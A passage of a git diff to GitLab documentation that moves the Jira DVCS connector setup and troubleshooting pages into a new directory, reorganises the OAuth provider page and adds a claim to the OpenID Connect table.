-contains more information about how Smart Commits work, and what commands are available
-for your use.
-
-For Smart Commits to work, the committing user on GitLab must have a corresponding
-user on Jira with the same email address or username.
-
-### Smart Commit syntax
-
-Smart Commits should follow the pattern of:
-
-```plaintext
-<ISSUE_KEY> <ignored text> #<command> <optional command parameters>
-```
-
-Some examples:
-
-- Add a comment to a Jira issue: `KEY-123 fixes a bug #comment Bug is fixed.`
-- Record time tracking: `KEY-123 #time 2w 4d 10h 52m Tracking work time.`
-- Close an issue: `KEY-123 #close Closing issue`
-
-A Smart Commit message must not span more than one line (no carriage returns) but
-you can still perform multiple actions in a single commit. For example:
-
-- Add time tracking, add a comment, and transition to **Closed**:
-
- ```plaintext
- KEY-123 #time 2d 5h #comment Task completed ahead of schedule #close
- ```
-
-- Add a comment, transition to **In-progress**, and add time tracking:
-
- ```plaintext
- KEY-123 #comment started working on the issue #in-progress #time 12d 5h
- ```
-
-## Configure a GitLab application for DVCS
-
-For projects in a single group we recommend you create a [group application](../oauth_provider.md#group-owned-applications).
-For projects across multiple groups we recommend you create and use a `jira` user in GitLab, and use the account
-only for integration work. A separate account ensures regular account
-maintenance does not affect your integration. If a `jira` user or group application is not feasible,
-you can set up this integration as an [instance-wide application](../oauth_provider.md#instance-wide-applications)
-or with a [user owned application](../oauth_provider.md#user-owned-applications) instead.
-
-1. Navigate to the [appropriate **Applications** section](../oauth_provider.md#introduction-to-oauth).
-1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
-1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab,
- replacing `<gitlab.example.com>` with your GitLab instance domain:
- - *For GitLab versions 13.0 and later* **and** *Jira versions 8.14 and later,* use the
- generated `Redirect URL` from
- [Linking GitLab accounts with Jira](https://confluence.atlassian.com/adminjiraserver/linking-gitlab-accounts-1027142272.html).
- - *For GitLab versions 13.0 and later* **and** *Jira Cloud,* use `https://<gitlab.example.com>/login/oauth/callback`.
- - *For GitLab versions 11.3 and later* **and** *Jira versions 8.13 and earlier,* use `https://<gitlab.example.com>/login/oauth/callback`.
- If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`.
- - *For GitLab versions 11.2 and earlier,* use
- `https://<gitlab.example.com>/-/jira/login/oauth/callback`.
-
-1. For **Scopes**, select `api` and clear any other checkboxes.
- - The DVCS connector requires a _write-enabled_ `api` scope to automatically create and manage required webhooks.
-1. Select **Submit**.
-1. Copy the **Application ID** and **Secret** values.
- You need them to configure Jira.
-
-## Configure Jira for DVCS
-
-Configure this connection when you want to import all GitLab commits and branches,
-for the groups you specify, into Jira. This import takes a few minutes and, after
-it completes, refreshes every 60 minutes:
-
-1. Complete the [GitLab configuration](#configure-a-gitlab-application-for-dvcs).
-1. Go to your DVCS accounts:
- - *For Jira Server,* select **Settings (gear) > Applications > DVCS accounts**.
- - *For Jira Cloud,* select **Settings (gear) > Products > DVCS accounts**.
-1. To create a new integration, select the appropriate value for **Host**:
- - *For Jira versions 8.14 and later:* Select **GitLab** or
- **GitLab Self-Managed**.
- - *For Jira Cloud or Jira versions 8.13 and earlier:* Select **GitHub Enterprise**.
-1. For **Team or User Account**, enter either:
- - *For Jira versions 8.14 and later:*
- - The relative path of a top-level GitLab group that
- [the GitLab user](#configure-a-gitlab-application-for-dvcs) has access to.
- - *For Jira Cloud or Jira versions 8.13 and earlier:*
- - The relative path of a top-level GitLab group that
- [the GitLab user](#configure-a-gitlab-application-for-dvcs) has access to.
- - The relative path of your personal namespace.
-
-1. In the **Host URL** field, enter the URI appropriate for your version of GitLab,
- replacing `<gitlab.example.com>` with your GitLab instance domain:
- - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>`.
- - *For GitLab versions 11.2 and earlier,* use
- `https://<gitlab.example.com>/-/jira`.
-
-1. For **Client ID**, use the **Application ID** value from the previous section.
-1. For **Client Secret**, use the **Secret** value from the previous section.
-1. Ensure that the rest of the checkboxes are selected.
-1. To create the DVCS account, select **Add** and then **Continue**.
-1. Jira redirects to GitLab where you have to confirm the authorization.
- GitLab then redirects back to Jira where the synced
- projects should display in the new account.
-
-To connect additional GitLab projects from other GitLab top-level groups or
-personal namespaces, repeat the previous steps with additional Jira DVCS accounts.
-
-After you configure the integration, read more about [how to test and use it](development_panel.md).
-
-## Refresh data imported to Jira
-
-Jira imports the commits and branches every 60 minutes for your projects. You
-can refresh the data manually from the Jira interface:
-
-1. Sign in to your Jira instance as the user you configured the integration with.
-1. Go to **Settings (gear) > Applications**.
-1. Select **DVCS accounts**.
-1. In the table, for the repository you want to refresh, in the **Last Activity**
- column, select the icon:
- ![Refresh GitLab information in Jira](img/jira_dev_panel_manual_refresh.png)
-
-## Troubleshoot your DVCS connection
-
-Refer to the items in this section if you're having problems with your DVCS connector.
-
-### Jira cannot access GitLab server
-
-If you complete the **Add New Account** form, authorize access, and you receive
-this error, Jira and GitLab cannot connect. No other error messages
-appear in any logs:
-
-```plaintext
-Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
-```
-
-### SSL and TLS problems
-
-Problems with SSL and TLS can cause this error message:
-
-```plaintext
-Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
-```
-
-- The [GitLab Jira integration](index.md) requires
- GitLab to connect to Jira. Any TLS issues that arise from a private certificate
- authority or self-signed certificate are resolved
- [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates),
- as GitLab is the TLS client.
-- The Jira Development panel integration requires Jira to connect to GitLab, which
- causes Jira to be the TLS client. If your GitLab server's certificate is not
- issued by a public certificate authority, add the appropriate certificate
- (such as your organization's root certificate) to the Java Truststore on Jira's server.
-
-Refer to Atlassian's documentation and Atlassian Support for assistance setting
-up Jira correctly:
-
-- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html)
- to the trust store.
- - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html).
- - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to
- also trust public certificate authorities.
- - If the integration stops working after upgrading Jira's Java runtime, the
- `cacerts` Truststore may have been replaced during the upgrade.
-
-- Troubleshoot connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html),
- using the `SSLPoke` Java class.
-- Download the class from Atlassian's knowledge base to a directory on Jira's server, such as `/tmp`.
-- Use the same Java runtime as Jira.
-- Pass all networking-related parameters that Jira is called with, such as proxy
- settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`):
-
-```shell
-${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443
-```
-
-The message `Successfully connected` indicates a successful TLS handshake.
-
-If there are problems, the Java TLS library generates errors that you can
-look up for more detail.
-
-### Scope error when connecting to Jira using DVCS
-
-```plaintext
-The requested scope is invalid, unknown, or malformed.
-```
-
-Potential resolutions:
-
-1. Verify that the URL shown in the browser after being redirected from Jira in the
- [Jira DVCS connector setup](#configure-jira-for-dvcs) includes `scope=api` in
- the query string.
-1. If `scope=api` is missing from the URL, edit the
- [GitLab account configuration](#configure-a-gitlab-application-for-dvcs). Review
- the **Scopes** field and ensure the `api` checkbox is selected.
-
-### Jira error adding account and no repositories listed
-
-After you complete the **Add New Account** form in Jira and authorize access, you might
-encounter these issues:
-
-- An `Error! Failed adding the account: [Error retrieving list of repositories]` error.
-- An `Account is already integrated with JIRA` error when you select **Try Again**.
-- An account is visible in the DVCS accounts view, but no repositories are listed.
-
-To resolve this issue:
-
-- If you're using GitLab Free, ensure you're using GitLab 13.4 or later.
-- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later
- to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012).
-
-[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply.
-
-### `410 : Gone` error when connecting to Jira
-
-When you connect to Jira and synchronize repositories, you may receive a `410 : Gone` error.
-
-This issue occurs when you use the Jira DVCS connector and your integration is configured to use **GitHub Enterprise**.
-
-For more information and possible fixes, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/340160).
-
-### Synchronization issues
-
-If Jira displays incorrect information, such as deleted branches, you may have to
-resynchronize the information:
-
-1. In Jira, select **Jira Administration > Applications > DVCS accounts**.
-1. For the account (group or subgroup), select
- **Refresh repositories** from the **{ellipsis_h}** (ellipsis) menu.
-1. For each project, next to the **Last activity** date:
- - To perform a *soft resync*, select the sync icon.
- - To complete a *full sync*, press `Shift` and select the sync icon.
-
-For more information, read
-[Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/integrate-with-development-tools/).
-
-### `Sync Failed` error when refreshing repository data
-
-If you get a `Sync Failed` error in Jira when [refreshing repository data](#refresh-data-imported-to-jira) for specific projects, check your DVCS connector logs. Look for errors that occur when executing requests to API resources in GitLab. For example:
-
-```plaintext
-Failed to execute request [https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 GET https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 returned a response status of 403 Forbidden] errors:
-{"message":"403 Forbidden"}
-```
-
-If you find a `{"message":"403 Forbidden"}` error, it is possible that this specific project has some [GitLab features disabled](../../user/project/settings/index.md#configure-project-visibility-features-and-permissions).
-In the example above, the merge requests feature is disabled.
-
-To resolve the issue, enable the relevant feature:
-
-1. On the top bar, select **Main menu > Projects** and find your project.
-1. On the left sidebar, select **Settings > General**.
-1. Expand **Visibility, project features, permissions**.
-1. Use the toggles to enable the features as needed.
diff --git a/doc/integration/jira/dvcs/index.md b/doc/integration/jira/dvcs/index.md
new file mode 100644
index 00000000000..1fa96e20d01
--- /dev/null
+++ b/doc/integration/jira/dvcs/index.md
@@ -0,0 +1,152 @@
+---
+stage: Manage
+group: Integrations
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Jira DVCS connector **(FREE)**
+
+Use the Jira DVCS (distributed version control system) connector if you self-host
+your Jira instance, and you want to sync information
+between GitLab and Jira. If you use Jira Cloud, you should use the
+[GitLab.com for Jira Cloud app](../connect-app.md) unless you specifically need the
+DVCS connector.
+
+When you configure the Jira DVCS connector, make sure your GitLab and Jira instances
+are accessible.
+
+- **Self-managed GitLab**: Your GitLab instance must be accessible by Jira.
+- **Jira Server**: Your network must allow access to your instance.
+- **Jira Cloud**: Your instance must be accessible through the internet.
+
+NOTE:
+When using GitLab 15.0 and later (including GitLab.com) with Jira Server, you might experience a [session token bug in Jira](https://jira.atlassian.com/browse/JSWSERVER-21389). As a workaround, ensure Jira Server is version 9.1.0 and later or 8.20.11 and later.
+
+## Smart Commits
+
+When connecting GitLab with Jira with DVCS, you can process your Jira issues using
+special commands, called
+[Smart Commits](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/),
+in your commit messages. With Smart Commits, you can:
+
+- Comment on issues.
+- Record time-tracking information against issues.
+- Transition issues to any status defined in the Jira project's workflow.
+
+Commands must be in the first line of the commit message. The
+[Jira Software documentation](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/)
+contains more information about how Smart Commits work, and what commands are available
+for your use.
+
+For Smart Commits to work, the committing user on GitLab must have a corresponding
+user on Jira with the same email address or username.
+
+### Smart Commit syntax
+
+Smart Commits should follow the pattern of:
+
+```plaintext
+<ISSUE_KEY> <ignored text> #<command> <optional command parameters>
+```
+
+Some examples:
+
+- Add a comment to a Jira issue: `KEY-123 fixes a bug #comment Bug is fixed.`
+- Record time tracking: `KEY-123 #time 2w 4d 10h 52m Tracking work time.`
+- Close an issue: `KEY-123 #close Closing issue`
+
+A Smart Commit message must not span more than one line (no carriage returns) but
+you can still perform multiple actions in a single commit. For example:
+
+- Add time tracking, add a comment, and transition to **Closed**:
+
+ ```plaintext
+ KEY-123 #time 2d 5h #comment Task completed ahead of schedule #close
+ ```
+
+- Add a comment, transition to **In-progress**, and add time tracking:
+
+ ```plaintext
+ KEY-123 #comment started working on the issue #in-progress #time 12d 5h
+ ```
+
+## Configure a GitLab application for DVCS
+
+For projects in a single group we recommend you create a [group application](../../oauth_provider.md#create-a-group-owned-application).
+For projects across multiple groups we recommend you create and use a `jira` user in GitLab, and use the account
+only for integration work. A separate account ensures regular account
+maintenance does not affect your integration. If a `jira` user or group application is not feasible,
+you can set up this integration as an [instance-wide application](../../oauth_provider.md#create-an-instance-wide-application)
+or with a [user owned application](../../oauth_provider.md#create-a-user-owned-application) instead.
+
+1. Navigate to the [appropriate **Applications** section](../../oauth_provider.md).
+1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
+1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab,
+ replacing `<gitlab.example.com>` with your GitLab instance domain:
+ - *For GitLab versions 13.0 and later* **and** *Jira versions 8.14 and later,* use the
+ generated `Redirect URL` from
+ [Linking GitLab accounts with Jira](https://confluence.atlassian.com/adminjiraserver/linking-gitlab-accounts-1027142272.html).
+ - *For GitLab versions 13.0 and later* **and** *Jira Cloud,* use `https://<gitlab.example.com>/login/oauth/callback`.
+ - *For GitLab versions 11.3 and later* **and** *Jira versions 8.13 and earlier,* use `https://<gitlab.example.com>/login/oauth/callback`.
+ If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`.
+ - *For GitLab versions 11.2 and earlier,* use
+ `https://<gitlab.example.com>/-/jira/login/oauth/callback`.
+
+1. For **Scopes**, select `api` and clear any other checkboxes.
+ - The DVCS connector requires a _write-enabled_ `api` scope to automatically create and manage required webhooks.
+1. Select **Submit**.
+1. Copy the **Application ID** and **Secret** values.
+ You need them to configure Jira.
+
+## Configure Jira for DVCS
+
+Configure this connection when you want to import all GitLab commits and branches,
+for the groups you specify, into Jira. This import takes a few minutes and, after
+it completes, refreshes every 60 minutes:
+
+1. Complete the [GitLab configuration](#configure-a-gitlab-application-for-dvcs).
+1. Go to your DVCS accounts:
+ - *For Jira Server,* select **Settings (gear) > Applications > DVCS accounts**.
+ - *For Jira Cloud,* select **Settings (gear) > Products > DVCS accounts**.
+1. To create a new integration, select the appropriate value for **Host**:
+ - *For Jira versions 8.14 and later:* Select **GitLab** or
+ **GitLab Self-Managed**.
+ - *For Jira Cloud or Jira versions 8.13 and earlier:* Select **GitHub Enterprise**.
+1. For **Team or User Account**, enter either:
+ - *For Jira versions 8.14 and later:*
+ - The relative path of a top-level GitLab group that
+ [the GitLab user](#configure-a-gitlab-application-for-dvcs) has access to.
+ - *For Jira Cloud or Jira versions 8.13 and earlier:*
+ - The relative path of a top-level GitLab group that
+ [the GitLab user](#configure-a-gitlab-application-for-dvcs) has access to.
+ - The relative path of your personal namespace.
+
+1. In the **Host URL** field, enter the URI appropriate for your version of GitLab,
+ replacing `<gitlab.example.com>` with your GitLab instance domain:
+ - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>`.
+ - *For GitLab versions 11.2 and earlier,* use
+ `https://<gitlab.example.com>/-/jira`.
+
+1. For **Client ID**, use the **Application ID** value from the previous section.
+1. For **Client Secret**, use the **Secret** value from the previous section.
+1. Ensure that the rest of the checkboxes are selected.
+1. To create the DVCS account, select **Add** and then **Continue**.
+1. Jira redirects to GitLab where you have to confirm the authorization.
+ GitLab then redirects back to Jira where the synced
+ projects should display in the new account.
+
+To connect additional GitLab projects from other GitLab top-level groups or
+personal namespaces, repeat the previous steps with additional Jira DVCS accounts.
+
+After you configure the integration, read more about [how to test and use it](../development_panel.md).
+
+## Refresh data imported to Jira
+
+Jira imports the commits and branches every 60 minutes for your projects. You
+can refresh the data manually from the Jira interface:
+
+1. Sign in to your Jira instance as the user you configured the integration with.
+1. Go to **Settings (gear) > Applications**.
+1. Select **DVCS accounts**.
+1. In the table, for the repository you want to refresh, in the **Last Activity**
+ column, select the icon.
diff --git a/doc/integration/jira/dvcs/troubleshooting.md b/doc/integration/jira/dvcs/troubleshooting.md
new file mode 100644
index 00000000000..e40c188c1c3
--- /dev/null
+++ b/doc/integration/jira/dvcs/troubleshooting.md
@@ -0,0 +1,149 @@
+---
+stage: Manage
+group: Integrations
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Troubleshooting Jira DVCS connector **(FREE)**
+
+Refer to the items in this section if you're having problems with your DVCS connector.
+
+## Jira cannot access GitLab server
+
+If you complete the **Add New Account** form, authorize access, and you receive
+this error, Jira and GitLab cannot connect. No other error messages
+appear in any logs:
+
+```plaintext
+Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
+```
+
+## SSL and TLS problems
+
+Problems with SSL and TLS can cause this error message:
+
+```plaintext
+Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
+```
+
+- The [GitLab Jira integration](../index.md) requires
+ GitLab to connect to Jira. Any TLS issues that arise from a private certificate
+ authority or self-signed certificate are resolved
+ [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates),
+ as GitLab is the TLS client.
+- The Jira Development panel integration requires Jira to connect to GitLab, which
+ causes Jira to be the TLS client. If your GitLab server's certificate is not
+ issued by a public certificate authority, add the appropriate certificate
+ (such as your organization's root certificate) to the Java Truststore on Jira Server.
+
+For help with Jira setup, see the Atlassian documentation and Atlassian Support:
+
+- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html)
+ to the trust store.
+ - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html).
+ - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to
+ also trust public certificate authorities.
+ - If the integration stops working after upgrading Jira Java runtime, the
+ `cacerts` Truststore may have been replaced during the upgrade.
+
+- Troubleshoot connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html),
+ using the `SSLPoke` Java class.
+- Download the class from the Atlassian knowledge base to a directory on Jira Server, such as `/tmp`.
+- Use the same Java runtime as Jira.
+- Pass all networking-related parameters that Jira is called with, such as proxy
+ settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`):
+
+```shell
+${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443
+```
+
+The message `Successfully connected` indicates a successful TLS handshake.
+
+If there are problems, the Java TLS library generates errors that you can
+look up for more detail.
+
+## Scope error when connecting to Jira using DVCS
+
+```plaintext
+The requested scope is invalid, unknown, or malformed.
+```
+
+Potential resolutions:
+
+1. Verify that the URL shown in the browser after being redirected from Jira in the
+ [Jira DVCS connector setup](index.md#configure-jira-for-dvcs) includes `scope=api` in
+ the query string.
+1. If `scope=api` is missing from the URL, edit the
+ [GitLab account configuration](index.md#configure-a-gitlab-application-for-dvcs). Review
+ the **Scopes** field and ensure the `api` checkbox is selected.
+
+## Jira error adding account and no repositories listed
+
+After you complete the **Add New Account** form in Jira and authorize access, you might
+encounter these issues:
+
+- An `Error! Failed adding the account: [Error retrieving list of repositories]` error.
+- An `Account is already integrated with JIRA` error when you select **Try Again**.
+- An account is visible in the DVCS accounts view, but no repositories are listed.
+
+To resolve this issue:
+
+- If you're using GitLab Free, ensure you're using GitLab 13.4 or later.
+- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later
+ to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012).
+
+[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply.
+
+## `410 : Gone` error when connecting to Jira
+
+When you connect to Jira and synchronize repositories, you may receive a `410 : Gone` error.
+
+This issue occurs when you use the Jira DVCS connector and your integration is configured to use **GitHub Enterprise**.
+
+For more information and possible fixes, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/340160).
+
+## Synchronization issues
+
+If Jira displays incorrect information, such as deleted branches, you may have to
+resynchronize the information:
+
+1. In Jira, select **Jira Administration > Applications > DVCS accounts**.
+1. For the account (group or subgroup), select
+ **Refresh repositories** from the **{ellipsis_h}** (ellipsis) menu.
+1. For each project, next to the **Last activity** date:
+ - To perform a *soft resync*, select the sync icon.
+ - To complete a *full sync*, press `Shift` and select the sync icon.
+
+For more information, see the
+[Atlassian documentation](https://support.atlassian.com/jira-cloud-administration/docs/integrate-with-development-tools/).
+
+## `Sync Failed` error when refreshing repository data
+
+If you get a `Sync Failed` error in Jira when [refreshing repository data](index.md#refresh-data-imported-to-jira) for specific projects, check your DVCS connector logs. Look for errors that occur when executing requests to API resources in GitLab. For example:
+
+```plaintext
+Failed to execute request [https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 GET https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 returned a response status of 403 Forbidden] errors:
+{"message":"403 Forbidden"}
+```
+
+If you find a `{"message":"403 Forbidden"}` error, it is possible that this specific project has some [GitLab features disabled](../../../user/project/settings/index.md#configure-project-visibility-features-and-permissions).
+In the example above, the merge requests feature is disabled.
+
+To resolve the issue, enable the relevant feature:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Visibility, project features, permissions**.
+1. Use the toggles to enable the features as needed.
+
+## Find webhook logs in a DVCS-linked project
+
+To find webhook logs in a DVCS-linked project:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Webhooks**.
+1. Scroll down to **Project Hooks**.
+1. Next to the log that points to your Jira instance, select **Edit**.
+1. Scroll down to **Recent events**.
+
+If you can't find webhook logs in your project, check your DVCS setup for problems.
diff --git a/doc/integration/jira/img/jira_dev_panel_manual_refresh.png b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png
deleted file mode 100644
index dc92d533bde..00000000000
--- a/doc/integration/jira/img/jira_dev_panel_manual_refresh.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md
index bedcbf23163..66ee278cdf5 100644
--- a/doc/integration/oauth_provider.md
+++ b/doc/integration/oauth_provider.md
@@ -6,17 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Configure GitLab as an OAuth 2.0 authentication identity provider
-This document describes how you can use GitLab as an OAuth 2.0 authentication identity provider.
-
-- OAuth 2 applications can be created and managed using the GitLab UI (described below)
- or managed using the [Applications API](../api/applications.md).
-- After an application is created, external services can manage access tokens using the
- [OAuth 2 API](../api/oauth2.md).
-- To allow users to sign in to GitLab using third-party OAuth 2 providers, see
- [OmniAuth documentation](omniauth.md).
-
-## Introduction to OAuth
-
[OAuth 2](https://oauth.net/2/) provides to client applications a 'secure delegated
access' to server resources on behalf of a resource owner. OAuth 2 allows
authorization servers to issue access tokens to third-party clients with the approval
@@ -33,49 +22,58 @@ to repositories without sharing user credentials to your GitLab.com account.
GitLab supports several ways of adding a new OAuth 2 application to an instance:
-- [User owned applications](#user-owned-applications)
-- [Group owned applications](#group-owned-applications)
-- [Instance-wide applications](#instance-wide-applications)
+- [User owned applications](#create-a-user-owned-application)
+- [Group owned applications](#create-a-group-owned-application)
+- [Instance-wide applications](#create-an-instance-wide-application)
The only difference between these methods is the [permission](../user/permissions.md)
levels. The default callback URL is `https://your-gitlab.example.com/users/auth/gitlab/callback` (you can also use a non-SSL URL, but you should use SSL URLs).
-## User owned applications
+This document describes how you can use GitLab as an OAuth 2.0 authentication identity provider.
+
+- OAuth 2 applications can be created and managed using the GitLab UI (described below)
+ or managed using the [Applications API](../api/applications.md).
+- After an application is created, external services can manage access tokens using the
+ [OAuth 2 API](../api/oauth2.md).
+- To allow users to sign in to GitLab using third-party OAuth 2 providers, see
+ [OmniAuth documentation](omniauth.md).
+
+## Create a user-owned application
To add a new application for your user:
1. In the top-right corner, select your avatar.
1. Select **Edit profile**.
1. On the left sidebar, select **Applications**.
-1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications).
+1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications).
The **Redirect URI** is the URL where users are sent after they authorize with GitLab.
1. Select **Save application**. GitLab provides:
- The OAuth 2 Client ID in the **Application ID** field.
- The OAuth 2 Client Secret, accessible:
- In the **Secret** field in GitLab 14.1 and earlier.
- - Using the **Copy** button on the **Secret** field
+ - By selecting **Copy** in the **Secret** field
[in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844).
-## Group owned applications
+## Create a group-owned application
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16227) in GitLab 13.11.
To add a new application for a group:
-1. Navigate to the desired group.
+1. Go to the desired group.
1. On the left sidebar, select **Settings > Applications**.
-1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications).
+1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications).
The **Redirect URI** is the URL where users are sent after they authorize with GitLab.
1. Select **Save application**. GitLab provides:
- The OAuth 2 Client ID in the **Application ID** field.
- The OAuth 2 Client Secret, accessible:
- In the **Secret** field in GitLab 14.1 and earlier.
- - Using the **Copy** button on the **Secret** field
+ - By selecting **Copy** in the **Secret** field
[in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844).
-## Instance-wide applications
+## Create an instance-wide application
To create an application for your GitLab instance:
@@ -86,22 +84,7 @@ To create an application for your GitLab instance:
When creating application in the **Admin Area** , you can mark it as _trusted_.
The user authorization step is automatically skipped for this application.
-## Access token expiration
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21745) in GitLab 14.3, with the ability to opt out.
-> - Ability to opt-out of expiring access token [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in GitLab 15.0.
-
-WARNING:
-The ability to opt-out of expiring access tokens was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/340848)
-in GitLab 14.3 and [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in 15.0. All
-existing integrations must be updated to support access token refresh.
-
-Access tokens expire after two hours. Integrations that use access tokens must generate new ones at least every
-two hours.
-
-When applications are deleted, all grants and tokens associated with the application are also deleted.
-
-## Authorized applications
+## View all authorized applications
To see all the application you've authorized with your GitLab credentials:
@@ -128,12 +111,28 @@ application can perform. Available scopes are depicted in the following table.
At any time you can revoke any access by selecting **Revoke**.
+## Access token expiration
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21745) in GitLab 14.3, with the ability to opt out.
+> - Ability to opt-out of expiring access token [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in GitLab 15.0.
+
+WARNING:
+The ability to opt out of expiring access tokens was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/340848)
+in GitLab 14.3 and [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in 15.0. All
+existing integrations must be updated to support access token refresh.
+
+Access tokens expire after two hours. Integrations that use access tokens must generate new ones at least every
+two hours.
+
+When applications are deleted, all grants and tokens associated with the application are also deleted.
+
## Hashed OAuth application secrets
-> Introduced in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `hash_oauth_secrets`. Disabled by default.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `hash_oauth_secrets`. Disabled by default.
+> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.8.
FLAG:
On self-managed GitLab, by default, this feature is not available. To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `hash_oauth_secrets`.
-On GitLab.com, this feature is not available.
+On GitLab.com, this feature is available.
By default, OAuth application secrets are stored as plain text in the database. When enabled, OAuth application secrets are stored in the database in hashed format and are only available to users immediately after creating OAuth applications.
diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md
index ad4cf195d7b..b0d85fae8c2 100644
--- a/doc/integration/openid_connect_provider.md
+++ b/doc/integration/openid_connect_provider.md
@@ -48,19 +48,20 @@ Similar URLs can be used for other GitLab instances.
The following user information is shared with clients:
-| Claim | Type | Description |
-|:-----------------|:----------|:------------|
-| `sub` | `string` | The ID of the user |
-| `auth_time` | `integer` | The timestamp for the user's last authentication |
-| `name` | `string` | The user's full name |
-| `nickname` | `string` | The user's GitLab username |
-| `email` | `string` | The user's email address<br>This is the user's *primary* email address if the application has access to the `email` claim and the user's *public* email address otherwise |
-| `email_verified` | `boolean` | Whether the user's email address was verified |
-| `website` | `string` | URL for the user's website |
-| `profile` | `string` | URL for the user's GitLab profile |
-| `picture` | `string` | URL for the user's GitLab avatar |
-| `groups` | `array` | Paths for the groups the user is a member of, either directly or through an ancestor group. |
-| `groups_direct` | `array` | Paths for the groups the user is a direct member of. |
+| Claim | Type | Description |
+|:---------------------|:----------|:------------|
+| `sub` | `string` | The ID of the user |
+| `auth_time` | `integer` | The timestamp for the user's last authentication |
+| `name` | `string` | The user's full name |
+| `nickname` | `string` | The user's GitLab username |
+| `preferred_username` | `string` | The user's GitLab username |
+| `email` | `string` | The user's email address<br>This is the user's *primary* email address if the application has access to the `email` claim and the user's *public* email address otherwise |
+| `email_verified` | `boolean` | Whether the user's email address was verified |
+| `website` | `string` | URL for the user's website |
+| `profile` | `string` | URL for the user's GitLab profile |
+| `picture` | `string` | URL for the user's GitLab avatar |
+| `groups` | `array` | Paths for the groups the user is a member of, either directly or through an ancestor group. |
+| `groups_direct` | `array` | Paths for the groups the user is a direct member of. |
